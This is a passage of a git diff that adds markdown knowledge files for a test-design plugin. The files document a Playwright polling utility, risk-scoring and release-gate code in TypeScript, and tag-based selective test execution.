+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
